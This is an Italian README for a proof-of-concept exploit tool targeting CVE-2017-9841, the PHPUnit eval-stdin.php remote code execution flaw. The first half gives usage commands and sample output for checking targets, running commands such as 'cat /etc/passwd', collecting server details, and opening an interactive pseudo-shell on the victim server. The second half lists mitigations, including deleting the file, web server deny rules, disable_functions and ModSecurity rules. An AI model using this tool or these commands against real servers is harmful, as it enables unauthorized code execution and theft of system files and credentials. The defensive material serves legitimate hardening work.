
CVE-2017-9841 è una vulnerabilità di Esecuzione Remota di Codice (RCE) nella libreria PHPUnit che interessa le versioni precedenti alla 5.6.3 e le versioni 6.x precedenti alla 6.4.2.
⚠️ AVVERTENZA: Questo strumento è inteso esclusivamente per scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato contro sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione è illegale. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.
CVE-2017-9841 è una vulnerabilità di Esecuzione di Codice Remota (RCE) nella libreria PHPUnit che interessa le versioni precedenti la 5.6.3 e le versioni 6.x precedenti la 6.4.2.
La vulnerabilità risiede in src/Util/PHP/eval-stdin.php, che esegue codice PHP ricevuto tramite php://input (corpo POST) utilizzando la funzione eval(). Se questo file è accessibile pubblicamente (ad esempio in una directory vendor/ non protetta), un attaccante può eseguire codice PHP arbitrario sul server senza autenticazione.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Questo file accetta codice PHP dal corpo POST e lo esegue immediatamente tramite eval() senza alcuna autenticazione o validazione.
requestspip install requests
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [options]
Il flag -u accetta sia un URL base (aggiunge automaticamente il percorso vulnerabile) sia un URL completo che punta direttamente a eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
Output:
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
Output:
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS : Linux
SAPI : fpm-fcgi
User : www-data
Hostname : web-server-01
Server IP : 192.168.1.100
CWD : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root : /var/www/html/
Server SW : Apache
Memory Limit: 256M
Max Exec : 30s
Open Basedir: (none)
Disabled Fn : (none)
=== DANGEROUS FUNCTIONS ===
system: YES
exec: YES
passthru: YES
shell_exec: YES
proc_open: YES
popen: YES
curl_exec: YES
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
Output:
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Aggiungi un file .htaccess dentro la directory vendor/:
# /path/to/project/vendor/.htaccess
Deny from all
Oppure configuralo nel tuo VirtualHost Apache:
<Directory "/path/to/project/vendor">
Require all denied
</Directory>
Per Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /path/to/project
composer install --no-dev --optimize-autoloader
disable_functions in php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini o in VirtualHost
open_basedir = /var/www/html/project:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# oppure
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
Esempio ModSecurity:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"
# Example: GitHub Actions
- name: Install production dependencies only
run: composer install --no-dev --optimize-autoloader
- name: Remove test files and vulnerable scripts
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Attacker │
└──────────────┬───────────────┘
│ POST (PHP code)
▼
┌─────────────────────────────────────────────────────────────┐
│ Apache Server │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Arbitrary Code Execution │ │
│ │ │ │
│ │ - Read/Write files on the server │ │
│ │ - Access database credentials │ │
│ │ - Lateral movement to internal network │ │
│ │ - Install backdoors / webshells │ │
│ │ - Privilege escalation │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
Le seguenti condizioni aumentano significativamente la gravità e la sfruttabilità di questa vulnerabilità:
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati.
| Campo | Valore |
|---|
| ID CVE | CVE-2017-9841 |
| Punteggio CVSS | 9.8 (Critico) |
| Interessate | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Tipo | Esecuzione di Codice Remota (RCE) |
| Autenticazione | Non richiesta |
| Vettore | Rete (remoto) |
| Pubblicato | 27 giugno 2017 |
| Riferimento | NVD |
| Flag | Descrizione |
|---|
-u, --url URL | URL base di destinazione o URL completo per eval-stdin.php |
-c, --cmd CMD | Comando CLI da eseguire sul server di destinazione |
--check | Verifica se il target è vulnerabile senza eseguire comandi |
--shell | Apre una pseudo-shell interattiva |
--info | Raccoglie informazioni sul server (sola lettura) |
--find-path | Scansiona i percorsi comuni per localizzare eval-stdin.php |
--path PATH | Specifica un percorso personalizzato per eval-stdin.php |
--timeout N | Timeout della richiesta in secondi (predefinito: 30) |
-o, --output FILE | Salva l'output del comando in un file |
--php CODE | Esegue codice PHP grezzo invece di comandi di sistema |
| Fattore | Impatto |
|---|
disable_functions è vuoto | Tutte le funzioni PHP sono disponibili (system, exec, ecc.) |
open_basedir non è impostato | L'attaccante può leggere/scrivere file su tutto il filesystem |
max_execution_time elevato | L'attaccante ha più tempo per richiesta per payload complessi |
| Estensione FFI caricata | Consente chiamate dirette a funzioni C, bypassando le restrizioni PHP |
| Estensioni database caricate | Connessioni dirette al database possibili (mysqli, pgsql, ecc.) |
| Nessun WAF implementato | Nessun filtraggio o blocco delle richieste |
| Nessun IDS/IPS in atto | Nessun rilevamento di anomalie o alert |
| Dipendenze di sviluppo in produzione | Espande inutilmente la superficie d'attacco |